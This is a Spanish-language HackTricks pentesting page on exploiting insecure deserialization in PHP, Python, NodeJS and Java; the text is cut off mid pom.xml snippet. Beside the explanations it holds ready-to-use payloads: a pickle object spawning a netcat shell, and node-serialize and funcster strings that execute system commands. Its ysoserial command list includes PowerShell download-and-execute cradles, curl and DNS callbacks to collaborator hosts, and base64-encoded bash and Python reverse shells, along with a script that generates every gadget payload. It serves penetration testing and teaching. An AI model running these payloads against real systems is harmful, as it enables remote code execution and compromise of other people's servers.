mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
821 lines
51 KiB
Markdown
821 lines
51 KiB
Markdown
# Deserialización
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
|
|
## Información Básica
|
|
|
|
La **serialización** se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado.
|
|
|
|
La **deserialización**, por otro lado, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.
|
|
|
|
La deserialización puede ser peligrosa porque potencialmente **permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
|
|
|
|
|
|
## PHP
|
|
|
|
En PHP, se utilizan métodos mágicos específicos durante los procesos de serialización y deserialización:
|
|
|
|
* `__sleep`: Invocado cuando un objeto está siendo serializado. Este método debe devolver un array con los nombres de todas las propiedades del objeto que deben ser serializadas. Comúnmente se utiliza para confirmar datos pendientes o realizar tareas de limpieza similares.
|
|
* `__wakeup`: Llamado cuando un objeto está siendo deserializado. Se utiliza para restablecer cualquier conexión a la base de datos que pueda haberse perdido durante la serialización y realizar otras tareas de reinitialización.
|
|
* `__unserialize`: Este método se llama en lugar de `__wakeup` (si existe) cuando un objeto está siendo deserializado. Proporciona más control sobre el proceso de deserialización en comparación con `__wakeup`.
|
|
* `__destruct`: Este método se llama cuando un objeto está a punto de ser destruido o cuando el script finaliza. Se utiliza típicamente para tareas de limpieza, como cerrar manejadores de archivos o conexiones a bases de datos.
|
|
* `__toString`: Este método permite que un objeto sea tratado como una cadena. Puede utilizarse para leer un archivo u otras tareas basadas en las llamadas de funciones dentro de él, proporcionando efectivamente una representación textual del objeto.
|
|
```php
|
|
<?php
|
|
class test {
|
|
public $s = "This is a test";
|
|
public function displaystring(){
|
|
echo $this->s.'<br />';
|
|
}
|
|
public function __toString()
|
|
{
|
|
echo '__toString method called';
|
|
}
|
|
public function __construct(){
|
|
echo "__construct method called";
|
|
}
|
|
public function __destruct(){
|
|
echo "__destruct method called";
|
|
}
|
|
public function __wakeup(){
|
|
echo "__wakeup method called";
|
|
}
|
|
public function __sleep(){
|
|
echo "__sleep method called";
|
|
return array("s"); #The "s" makes references to the public attribute
|
|
}
|
|
}
|
|
|
|
$o = new test();
|
|
$o->displaystring();
|
|
$ser=serialize($o);
|
|
echo $ser;
|
|
$unser=unserialize($ser);
|
|
$unser->displaystring();
|
|
|
|
/*
|
|
php > $o = new test();
|
|
__construct method called
|
|
__destruct method called
|
|
php > $o->displaystring();
|
|
This is a test<br />
|
|
|
|
php > $ser=serialize($o);
|
|
__sleep method called
|
|
|
|
php > echo $ser;
|
|
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
|
|
|
|
php > $unser=unserialize($ser);
|
|
__wakeup method called
|
|
__destruct method called
|
|
|
|
php > $unser->displaystring();
|
|
This is a test<br />
|
|
*/
|
|
?>
|
|
```
|
|
Si observas los resultados, puedes ver que las funciones **`__wakeup`** y **`__destruct`** se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función **`__toString`** se llama al intentar imprimir algún atributo, pero aparentemente eso **ya no sucede**.
|
|
|
|
{% hint style="warning" %}
|
|
El método **`__unserialize(array $data)`** se llama **en lugar de `__wakeup()`** si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria durante la deserialización.
|
|
```php
|
|
class MyClass {
|
|
private $property;
|
|
|
|
public function __unserialize(array $data): void {
|
|
$this->property = $data['property'];
|
|
// Perform any necessary tasks upon deserialization.
|
|
}
|
|
}
|
|
```
|
|
{% endhint %}
|
|
|
|
Puedes leer un **ejemplo de PHP explicado aquí**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aquí [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o aquí [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
|
|
|
### PHP Deserial + Autoload Classes
|
|
|
|
Podrías abusar de la funcionalidad de carga automática de PHP para cargar archivos PHP arbitrarios y más:
|
|
|
|
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
|
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Serializando Valores Referenciados
|
|
|
|
Si por alguna razón deseas serializar un valor como una **referencia a otro valor serializado** puedes:
|
|
```php
|
|
<?php
|
|
class AClass {
|
|
public $param1;
|
|
public $param2;
|
|
}
|
|
|
|
$o = new WeirdGreeting;
|
|
$o->param1 =& $o->param22;
|
|
$o->param = "PARAM";
|
|
$ser=serialize($o);
|
|
```
|
|
### PHPGGC (ysoserial para PHP)
|
|
|
|
[**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar payloads para abusar de las deserializaciones de PHP.\
|
|
Ten en cuenta que en varios casos **no podrás encontrar una forma de abusar de una deserialización en el código fuente** de la aplicación, pero podrías ser capaz de **abusar del código de extensiones externas de PHP.**\
|
|
Por lo tanto, si es posible, verifica la `phpinfo()` del servidor y **busca en internet** (incluso en los **gadgets** de **PHPGGC**) algún posible gadget que puedas abusar.
|
|
|
|
### Deserialización de metadatos phar://
|
|
|
|
Si has encontrado una LFI que solo lee el archivo y no ejecuta el código PHP dentro de él, por ejemplo utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_. Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\
|
|
Para obtener más información, lee el siguiente post:
|
|
|
|
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
|
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Python
|
|
|
|
### **Pickle**
|
|
|
|
Cuando el objeto se deserializa, se ejecutará la función _\_\_reduce\_\__.\
|
|
Cuando se explota, el servidor podría devolver un error.
|
|
```python
|
|
import pickle, os, base64
|
|
class P(object):
|
|
def __reduce__(self):
|
|
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
|
print(base64.b64encode(pickle.dumps(P())))
|
|
```
|
|
Para obtener más información sobre cómo escapar de las **cárceles de pickle**, consulta:
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
|
{% endcontent-ref %}
|
|
|
|
### Yaml **y** jsonpickle
|
|
|
|
La siguiente página presenta la técnica para **abusar de una deserialización insegura en las bibliotecas de Python yamls** y finaliza con una herramienta que se puede utilizar para generar carga útil de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**:
|
|
|
|
{% content-ref url="python-yaml-deserialization.md" %}
|
|
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Contaminación de Clases (Python Prototype Pollution)
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
|
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
|
{% endcontent-ref %}
|
|
|
|
## NodeJS
|
|
|
|
### Funciones Mágicas de JS
|
|
|
|
JS **no tiene funciones "mágicas"** como PHP o Python que se ejecutarán solo para crear un objeto. Pero tiene algunas **funciones** que se **utilizan con frecuencia incluso sin llamarlas directamente** como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
|
Si abusas de una deserialización, puedes **comprometer estas funciones para ejecutar otro código** (potencialmente abusando de contaminaciones de prototipos) y podrías ejecutar código arbitrario cuando se llamen.
|
|
|
|
Otra forma **"mágica" de llamar a una función** sin llamarla directamente es **comprometer un objeto que es devuelto por una función asíncrona** (promesa). Porque, si **transformas** ese **objeto devuelto** en otra **promesa** con una **propiedad** llamada **"then" de tipo función**, se **ejecutará** solo porque es devuelto por otra promesa. _Sigue_ [_**este enlace**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para más información._
|
|
```javascript
|
|
// If you can compromise p (returned object) to be a promise
|
|
// it will be executed just because it's the return object of an async function:
|
|
async function test_resolve() {
|
|
const p = new Promise(resolve => {
|
|
console.log('hello')
|
|
resolve()
|
|
})
|
|
return p
|
|
}
|
|
|
|
async function test_then() {
|
|
const p = new Promise(then => {
|
|
console.log('hello')
|
|
return 1
|
|
})
|
|
return p
|
|
}
|
|
|
|
test_ressolve()
|
|
test_then()
|
|
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
|
```
|
|
### `__proto__` y la contaminación de `prototype`
|
|
|
|
Si deseas aprender sobre esta técnica, **echa un vistazo al siguiente tutorial**:
|
|
|
|
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
|
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
|
{% endcontent-ref %}
|
|
|
|
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
|
|
|
Esta biblioteca permite serializar funciones. Ejemplo:
|
|
```javascript
|
|
var y = {
|
|
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
|
}
|
|
var serialize = require('node-serialize');
|
|
var payload_serialized = serialize.serialize(y);
|
|
console.log("Serialized: \n" + payload_serialized);
|
|
```
|
|
El **objeto serializado** se verá así:
|
|
```bash
|
|
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
|
```
|
|
Puedes ver en el ejemplo que cuando una función es serializada se añade la bandera `_$$ND_FUNC$$_` al objeto serializado.
|
|
|
|
Dentro del archivo `node-serialize/lib/serialize.js` puedes encontrar la misma bandera y cómo el código la está utilizando.
|
|
|
|
![](<../../.gitbook/assets/image (297).png>)
|
|
|
|
![](<../../.gitbook/assets/image (298).png>)
|
|
|
|
Como puedes ver en el último fragmento de código, **si se encuentra la bandera** se utiliza `eval` para deserializar la función, por lo que básicamente **la entrada del usuario se está utilizando dentro de la función `eval`**.
|
|
|
|
Sin embargo, **solo serializar** una función **no la ejecutará** ya que sería necesario que alguna parte del código esté **llamando a `y.rce`** en nuestro ejemplo y eso es altamente **improbable**.\
|
|
De todos modos, podrías simplemente **modificar el objeto serializado** **añadiendo algunos paréntesis** para autoejecutar la función serializada cuando se deserialice el objeto.\
|
|
En el siguiente fragmento de código **nota el último paréntesis** y cómo la función `unserialize` ejecutará automáticamente el código:
|
|
```javascript
|
|
var serialize = require('node-serialize');
|
|
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
|
serialize.unserialize(test);
|
|
```
|
|
Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y lo **ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código**, puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un JS en una línea** como en el siguiente ejemplo:
|
|
```javascript
|
|
var serialize = require('node-serialize');
|
|
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
|
serialize.unserialize(test);
|
|
```
|
|
Puedes [**encontrar aquí**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **más información** sobre cómo explotar esta vulnerabilidad.
|
|
|
|
### [funcster](https://www.npmjs.com/package/funcster)
|
|
|
|
Un aspecto notable de **funcster** es la inaccesibilidad de los **objetos integrados estándar**; quedan fuera del alcance accesible. Esta restricción evita la ejecución de código que intenta invocar métodos en objetos integrados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`.
|
|
|
|
A pesar de esta limitación, la restauración del acceso completo al contexto global, incluidos todos los objetos integrados estándar, es posible a través de un enfoque específico. Al aprovechar directamente el contexto global, se puede evitar esta restricción. Por ejemplo, el acceso puede restablecerse utilizando el siguiente fragmento:
|
|
```javascript
|
|
funcster = require("funcster");
|
|
//Serialization
|
|
var test = funcster.serialize(function() { return "Hello world!" })
|
|
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
|
|
|
|
//Deserialization with auto-execution
|
|
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
|
|
funcster.deepDeserialize(desertest1)
|
|
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
|
|
funcster.deepDeserialize(desertest2)
|
|
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
|
funcster.deepDeserialize(desertest3)
|
|
```
|
|
**Para** [**más información lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
|
|
|
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
|
|
|
El paquete **serialize-javascript** está diseñado exclusivamente para fines de serialización, careciendo de capacidades de deserialización integradas. Los usuarios son responsables de implementar su propio método para la deserialización. Un uso directo de `eval` es sugerido por el ejemplo oficial para deserializar datos serializados:
|
|
```javascript
|
|
function deserialize(serializedJavascript){
|
|
return eval('(' + serializedJavascript + ')');
|
|
}
|
|
```
|
|
Si esta función se utiliza para deserializar objetos, puedes **explotarla fácilmente**:
|
|
```javascript
|
|
var serialize = require('serialize-javascript');
|
|
//Serialization
|
|
var test = serialize(function() { return "Hello world!" });
|
|
console.log(test) //function() { return "Hello world!" }
|
|
|
|
//Deserialization
|
|
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
|
deserialize(test)
|
|
```
|
|
**Para** [**más información, lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
|
|
|
### Biblioteca Cryo
|
|
|
|
En las siguientes páginas puedes encontrar información sobre cómo abusar de esta biblioteca para ejecutar comandos arbitrarios:
|
|
|
|
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
|
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
|
|
|
## Java - HTTP
|
|
|
|
En Java, **las devoluciones de llamada de deserialización se ejecutan durante el proceso de deserialización**. Esta ejecución puede ser explotada por atacantes que crean cargas maliciosas que activan estas devoluciones de llamada, lo que puede llevar a la ejecución potencial de acciones dañinas.
|
|
|
|
### Huellas dactilares
|
|
|
|
#### Caja Blanca
|
|
|
|
Para identificar posibles vulnerabilidades de serialización en el código, busca:
|
|
|
|
* Clases que implementen la interfaz `Serializable`.
|
|
* Uso de las funciones `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
|
|
|
Presta especial atención a:
|
|
|
|
* `XMLDecoder` utilizado con parámetros definidos por usuarios externos.
|
|
* El método `fromXML` de `XStream`, especialmente si la versión de XStream es menor o igual a 1.46, ya que es susceptible a problemas de serialización.
|
|
* `ObjectInputStream` junto con el método `readObject`.
|
|
* Implementación de métodos como `readObject`, `readObjectNodData`, `readResolve` o `readExternal`.
|
|
* `ObjectInputStream.readUnshared`.
|
|
* Uso general de `Serializable`.
|
|
|
|
#### Caja Negra
|
|
|
|
Para pruebas de caja negra, busca **firmas o "bytes mágicos"** específicos que denoten objetos serializados de Java (provenientes de `ObjectInputStream`):
|
|
|
|
* Patrón hexadecimal: `AC ED 00 05`.
|
|
* Patrón Base64: `rO0`.
|
|
* Cabeceras de respuesta HTTP con `Content-type` establecido en `application/x-java-serialized-object`.
|
|
* Patrón hexadecimal que indica compresión previa: `1F 8B 08 00`.
|
|
* Patrón Base64 que indica compresión previa: `H4sIA`.
|
|
* Archivos web con la extensión `.faces` y el parámetro `faces.ViewState`. Descubrir estos patrones en una aplicación web debería provocar un examen detallado como se detalla en el [post sobre Deserialización de Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
|
```
|
|
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
|
```
|
|
### Verificar si es vulnerable
|
|
|
|
Si quieres **aprender cómo funciona una explotación de deserialización en Java**, deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización de DNS en Java**](java-dns-deserialization-and-gadgetprobe.md) y [**Carga útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
|
|
|
#### Prueba de Caja Blanca
|
|
|
|
Puedes verificar si hay instalada alguna aplicación con vulnerabilidades conocidas.
|
|
```bash
|
|
find . -iname "*commons*collection*"
|
|
grep -R InvokeTransformer .
|
|
```
|
|
Puedes intentar **verificar todas las bibliotecas** conocidas por ser vulnerables y para las cuales [**Ysoserial**](https://github.com/frohoff/ysoserial) puede proporcionar un exploit. O puedes verificar las bibliotecas indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
|
También puedes usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para buscar posibles cadenas de gadgets que puedan ser explotadas.\
|
|
Al ejecutar **gadgetinspector** (después de compilarlo), no te preocupes por las numerosas advertencias/errores que pueda mostrar y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt_. Ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**.
|
|
|
|
#### Prueba de Caja Negra
|
|
|
|
Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puedes identificar **qué bibliotecas están disponibles** (e incluso las versiones). Con esta información podría ser **más fácil elegir un payload** para explotar la vulnerabilidad.\
|
|
[**Lee esto para aprender más sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
|
GadgetProbe se enfoca en las deserializaciones de **`ObjectInputStream`**.
|
|
|
|
Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puedes **identificar bibliotecas vulnerables** explotables con ysoserial y **explotarlas**.\
|
|
[**Lee esto para aprender más sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
|
Java Deserialization Scanner se enfoca en las deserializaciones de **`ObjectInputStream`**.
|
|
|
|
También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialización** en **Burp**. Este complemento detectará vulnerabilidades no solo relacionadas con **`ObjectInputStream`** sino también vulnerabilidades de deserialización de **Json** y **Yml**. En modo activo, intentará confirmarlas utilizando payloads de sleep o DNS.\
|
|
[**Puedes encontrar más información sobre Freddy aquí.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
|
|
|
**Prueba de Serialización**
|
|
|
|
No todo se trata de verificar si el servidor está utilizando alguna biblioteca vulnerable. A veces puedes **cambiar los datos dentro del objeto serializado y evadir algunas verificaciones** (quizás otorgarte privilegios de administrador dentro de una aplicación web).\
|
|
Si encuentras un objeto serializado de Java que se envía a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando facilitaría modificarlos y evadir algunas verificaciones.
|
|
|
|
### **Explotación**
|
|
|
|
#### **ysoserial**
|
|
|
|
La herramienta principal para explotar deserializaciones de Java es [**ysoserial**](https://github.com/frohoff/ysoserial) ([**descarga aquí**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). También puedes considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) que te permitirá usar comandos complejos (con tuberías, por ejemplo).\
|
|
Ten en cuenta que esta herramienta está **centrada** en explotar **`ObjectInputStream`**.\
|
|
Yo **comenzaría usando el payload "URLDNS"** antes que un payload de RCE para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione pero otro payload de RCE sí.
|
|
```bash
|
|
# PoC to make the application perform a DNS req
|
|
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
|
|
|
# PoC RCE in Windows
|
|
# Ping
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
|
|
# Time, I noticed the response too longer when this was used
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
|
|
# Create File
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
|
|
# DNS request
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
|
|
# HTTP request (+DNS)
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
|
|
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
|
|
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
|
|
# Reverse Shell
|
|
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
|
|
|
|
#PoC RCE in Linux
|
|
# Ping
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
|
|
# Time
|
|
## Using time in bash I didn't notice any difference in the timing of the response
|
|
# Create file
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
|
|
# DNS request
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
# HTTP request (+DNS)
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
# Reverse shell
|
|
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
|
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
|
|
|
# Base64 encode payload in base64
|
|
base64 -w0 payload
|
|
```
|
|
Al crear un payload para **java.lang.Runtime.exec()** **no puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload, puedes [utilizar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
|
|
|
Siéntete libre de usar el siguiente script para crear **todos los posibles payloads de ejecución de código** para Windows y Linux y luego probarlos en la página web vulnerable:
|
|
```python
|
|
import os
|
|
import base64
|
|
|
|
# You may need to update the payloads
|
|
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
|
|
def generate(name, cmd):
|
|
for payload in payloads:
|
|
final = cmd.replace('REPLACE', payload)
|
|
print 'Generating ' + payload + ' for ' + name + '...'
|
|
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
|
|
result = command.read()
|
|
command.close()
|
|
encoded = base64.b64encode(result)
|
|
if encoded != "":
|
|
open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
|
|
|
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
|
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|
```
|
|
#### serialkillerbypassgadgets
|
|
|
|
Puedes **utilizar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto con ysoserial para crear más exploits**. Más información sobre esta herramienta en las **diapositivas de la charla** donde se presentó la herramienta: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
|
|
|
#### marshalsec
|
|
|
|
[**marshalsec** ](https://github.com/mbechler/marshalsec) se puede utilizar para generar payloads para explotar diferentes bibliotecas de serialización **Json** y **Yml** en Java.\
|
|
Para compilar el proyecto necesité **agregar** estas **dependencias** al archivo `pom.xml`:
|
|
```markup
|
|
<dependency>
|
|
<groupId>javax.activation</groupId>
|
|
<artifactId>activation</artifactId>
|
|
<version>1.1.1</version>
|
|
</dependency>
|
|
|
|
<dependency>
|
|
